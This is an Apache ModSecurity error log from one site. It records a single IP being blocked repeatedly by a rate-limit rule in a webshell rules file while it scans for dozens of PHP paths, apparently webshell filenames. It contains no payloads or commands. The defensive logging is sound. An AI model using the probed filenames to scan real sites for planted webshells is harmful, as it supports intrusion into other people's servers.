[Sat Apr 11 02:18:55.355879 2026] [:error] [pid 21706:tid 21708] [client 51.107.88.105:37452] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xltt.php"] [unique_id "adk_DyGQ1M5d8fQSsLG7RAAAAAA"]
[Sat Apr 11 02:18:55.827990 2026] [:error] [pid 21570:tid 21682] [client 51.107.88.105:40748] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xltt.php"] [unique_id "adk_DzKs5t9xRSNL6cnS4AAAAEs"]
[Sat Apr 11 02:18:56.306028 2026] [:error] [pid 55451:tid 55471] [client 51.107.88.105:51441] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xltt.php"] [unique_id "adk_EHApxuyB7yCS5RkdhgAAANI"]
[Sat Apr 11 02:18:56.773160 2026] [:error] [pid 21569:tid 21674] [client 51.107.88.105:28785] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xltt.php"] [unique_id "adk_EHAvQTgvXJ6vHoqlDQAAAJQ"]
[Sat Apr 11 02:18:57.403532 2026] [:error] [pid 21568:tid 21581] [client 51.107.88.105:51969] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "adk_EYiz5v_ljZxkpR_YfwAAAQk"]
[Sat Apr 11 02:18:57.867130 2026] [:error] [pid 21706:tid 21724] [client 51.107.88.105:37481] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "adk_ESGQ1M5d8fQSsLG7TQAAABA"]
[Sat Apr 11 02:18:58.537520 2026] [:error] [pid 21706:tid 21726] [client 51.107.88.105:62100] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "adk_EiGQ1M5d8fQSsLG7UAAAABI"]
[Sat Apr 11 02:18:59.240259 2026] [:error] [pid 21706:tid 21710] [client 51.107.88.105:56529] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "adk_EyGQ1M5d8fQSsLG7VAAAAAI"]
[Sat Apr 11 02:18:59.731189 2026] [:error] [pid 21706:tid 21720] [client 51.107.88.105:55931] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fyflv.php"] [unique_id "adk_EyGQ1M5d8fQSsLG7WQAAAAw"]
[Sat Apr 11 02:19:00.372333 2026] [:error] [pid 21706:tid 21725] [client 51.107.88.105:45956] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fyflv.php"] [unique_id "adk_FCGQ1M5d8fQSsLG7XQAAABE"]
[Sat Apr 11 02:19:01.083656 2026] [:error] [pid 21570:tid 21663] [client 51.107.88.105:48525] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fyflv.php"] [unique_id "adk_FTKs5t9xRSNL6cnS4gAAAEE"]
[Sat Apr 11 02:19:01.867634 2026] [:error] [pid 55451:tid 55466] [client 51.107.88.105:45377] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fyflv.php"] [unique_id "adk_FXApxuyB7yCS5RkdkgAAAM0"]
[Sat Apr 11 02:19:02.978925 2026] [:error] [pid 21570:tid 21689] [client 51.107.88.105:37465] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-942.php"] [unique_id "adk_FjKs5t9xRSNL6cnS5wAAAE8"]
[Sat Apr 11 02:19:03.649580 2026] [:error] [pid 21570:tid 21682] [client 51.107.88.105:55919] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-942.php"] [unique_id "adk_FzKs5t9xRSNL6cnS7AAAAEs"]
[Sat Apr 11 02:19:04.207756 2026] [:error] [pid 21570:tid 21670] [client 51.107.88.105:56564] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-942.php"] [unique_id "adk_GDKs5t9xRSNL6cnS7wAAAEQ"]
[Sat Apr 11 02:19:05.191983 2026] [:error] [pid 21706:tid 21713] [client 51.107.88.105:48516] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-942.php"] [unique_id "adk_GSGQ1M5d8fQSsLG7aQAAAAU"]
[Sat Apr 11 02:19:06.103048 2026] [:error] [pid 21568:tid 21575] [client 51.107.88.105:56523] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sde.php"] [unique_id "adk_Goiz5v_ljZxkpR_YhwAAAQM"]
[Sat Apr 11 02:19:07.154137 2026] [:error] [pid 55451:tid 55460] [client 51.107.88.105:40572] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sde.php"] [unique_id "adk_G3ApxuyB7yCS5RkdnAAAAMc"]
[Sat Apr 11 02:19:07.850040 2026] [:error] [pid 21706:tid 21721] [client 51.107.88.105:51403] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sde.php"] [unique_id "adk_GyGQ1M5d8fQSsLG7ewAAAA0"]
[Sat Apr 11 02:19:09.393403 2026] [:error] [pid 21706:tid 21724] [client 51.107.88.105:45404] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sde.php"] [unique_id "adk_HSGQ1M5d8fQSsLG7hQAAABA"]
[Sat Apr 11 02:19:10.366638 2026] [:error] [pid 21706:tid 21732] [client 51.107.88.105:40556] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpb.php"] [unique_id "adk_HiGQ1M5d8fQSsLG7jgAAABg"]
[Sat Apr 11 02:19:11.554461 2026] [:error] [pid 21706:tid 21730] [client 51.107.88.105:40558] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpb.php"] [unique_id "adk_HyGQ1M5d8fQSsLG7lAAAABY"]
[Sat Apr 11 02:19:12.297049 2026] [:error] [pid 21569:tid 21653] [client 51.107.88.105:40459] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpb.php"] [unique_id "adk_IHAvQTgvXJ6vHoqlGwAAAIg"]
[Sat Apr 11 02:19:13.066646 2026] [:error] [pid 21706:tid 21718] [client 51.107.88.105:56528] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpb.php"] [unique_id "adk_ISGQ1M5d8fQSsLG7nQAAAAo"]
[Sat Apr 11 02:19:13.781962 2026] [:error] [pid 21569:tid 21671] [client 51.107.88.105:45403] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Geforce.php"] [unique_id "adk_IXAvQTgvXJ6vHoqlHgAAAJM"]
[Sat Apr 11 02:19:14.410459 2026] [:error] [pid 21706:tid 21714] [client 51.107.88.105:51427] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Geforce.php"] [unique_id "adk_IiGQ1M5d8fQSsLG7pwAAAAY"]
[Sat Apr 11 02:19:14.976231 2026] [:error] [pid 21706:tid 21712] [client 51.107.88.105:55926] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Geforce.php"] [unique_id "adk_IiGQ1M5d8fQSsLG7qgAAAAQ"]
[Sat Apr 11 02:19:15.652567 2026] [:error] [pid 21569:tid 21651] [client 51.107.88.105:61659] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Geforce.php"] [unique_id "adk_I3AvQTgvXJ6vHoqlIgAAAIY"]
[Sat Apr 11 02:19:16.287533 2026] [:error] [pid 21706:tid 21719] [client 51.107.88.105:61672] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adk_JCGQ1M5d8fQSsLG7sgAAAAs"]
[Sat Apr 11 02:19:16.857755 2026] [:error] [pid 21706:tid 21724] [client 51.107.88.105:46010] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adk_JCGQ1M5d8fQSsLG7uAAAABA"]
[Sat Apr 11 02:19:17.527979 2026] [:error] [pid 55451:tid 55455] [client 51.107.88.105:51428] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adk_JXApxuyB7yCS5RkdrQAAAMI"]
[Sat Apr 11 02:19:18.234644 2026] [:error] [pid 21568:tid 21578] [client 51.107.88.105:48571] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adk_Joiz5v_ljZxkpR_YmwAAAQY"]
[Sat Apr 11 02:19:18.914414 2026] [:error] [pid 55451:tid 55471] [client 51.107.88.105:62129] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxl.php"] [unique_id "adk_JnApxuyB7yCS5RkdsgAAANI"]
[Sat Apr 11 02:19:19.483384 2026] [:error] [pid 55451:tid 55470] [client 51.107.88.105:28762] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxl.php"] [unique_id "adk_J3ApxuyB7yCS5RkduQAAANE"]
[Sat Apr 11 02:19:20.064777 2026] [:error] [pid 55451:tid 55465] [client 51.107.88.105:45993] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxl.php"] [unique_id "adk_KHApxuyB7yCS5RkduwAAAMw"]
[Sat Apr 11 02:19:20.706551 2026] [:error] [pid 55451:tid 55469] [client 51.107.88.105:45390] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxl.php"] [unique_id "adk_KHApxuyB7yCS5RkdwQAAANA"]
[Sat Apr 11 02:19:21.338444 2026] [:error] [pid 55451:tid 55463] [client 51.107.88.105:40720] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adk_KXApxuyB7yCS5RkdxQAAAMo"]
[Sat Apr 11 02:19:21.906402 2026] [:error] [pid 21569:tid 21671] [client 51.107.88.105:28779] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adk_KXAvQTgvXJ6vHoqlKwAAAJM"]
[Sat Apr 11 02:19:22.442555 2026] [:error] [pid 21570:tid 21687] [client 51.107.88.105:61638] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adk_KjKs5t9xRSNL6cnTBAAAAE0"]
[Sat Apr 11 02:20:54.724007 2026] [:error] [pid 55451:tid 55474] [client 51.107.88.105:56521] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fone1.php"] [unique_id "adk_hnApxuyB7yCS5RkerwAAANU"]
[Sat Apr 11 02:20:55.231474 2026] [:error] [pid 21706:tid 21714] [client 51.107.88.105:40761] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fone1.php"] [unique_id "adk_hyGQ1M5d8fQSsLG9FAAAAAY"]
[Sat Apr 11 02:20:55.750583 2026] [:error] [pid 21706:tid 21731] [client 51.107.88.105:52008] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fone1.php"] [unique_id "adk_hyGQ1M5d8fQSsLG9GQAAABc"]
[Sat Apr 11 02:20:56.699949 2026] [:error] [pid 21706:tid 21721] [client 51.107.88.105:48564] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fone1.php"] [unique_id "adk_iCGQ1M5d8fQSsLG9IgAAAA0"]
[Sat Apr 11 02:20:57.344527 2026] [:error] [pid 21706:tid 21715] [client 51.107.88.105:40490] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adk_iSGQ1M5d8fQSsLG9JgAAAAc"]
[Sat Apr 11 02:20:57.899018 2026] [:error] [pid 21706:tid 21717] [client 51.107.88.105:40481] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adk_iSGQ1M5d8fQSsLG9LwAAAAk"]
[Sat Apr 11 02:20:59.198545 2026] [:error] [pid 21706:tid 21712] [client 51.107.88.105:32787] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adk_iyGQ1M5d8fQSsLG9OAAAAAQ"]
[Sat Apr 11 02:20:59.724561 2026] [:error] [pid 21568:tid 21574] [client 51.107.88.105:61669] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adk_i4iz5v_ljZxkpR_ZUgAAAQI"]
[Sat Apr 11 02:21:00.268015 2026] [:error] [pid 21569:tid 21649] [client 51.107.88.105:37460] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adk_jHAvQTgvXJ6vHoqlvAAAAIQ"]
[Sat Apr 11 02:21:00.740212 2026] [:error] [pid 21570:tid 21697] [client 51.107.88.105:40524] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adk_jDKs5t9xRSNL6cnTtwAAAFc"]
[Sat Apr 11 02:21:01.269192 2026] [:error] [pid 21570:tid 21663] [client 51.107.88.105:56551] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adk_jTKs5t9xRSNL6cnTugAAAEE"]
[Sat Apr 11 02:21:02.281842 2026] [:error] [pid 21568:tid 21593] [client 51.107.88.105:62083] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adk_joiz5v_ljZxkpR_ZVgAAARU"]
[Sat Apr 11 02:21:02.983756 2026] [:error] [pid 21706:tid 21732] [client 51.107.88.105:61675] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adk_jiGQ1M5d8fQSsLG9PwAAABg"]
[Sat Apr 11 02:21:03.894926 2026] [:error] [pid 21706:tid 21731] [client 51.107.88.105:40535] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adk_jyGQ1M5d8fQSsLG9RQAAABc"]
[Sat Apr 11 02:21:05.739754 2026] [:error] [pid 21570:tid 21663] [client 51.107.88.105:28747] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adk_kTKs5t9xRSNL6cnTxAAAAEE"]
[Sat Apr 11 02:21:06.552244 2026] [:error] [pid 21706:tid 21729] [client 51.107.88.105:51432] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adk_kiGQ1M5d8fQSsLG9SQAAABU"]
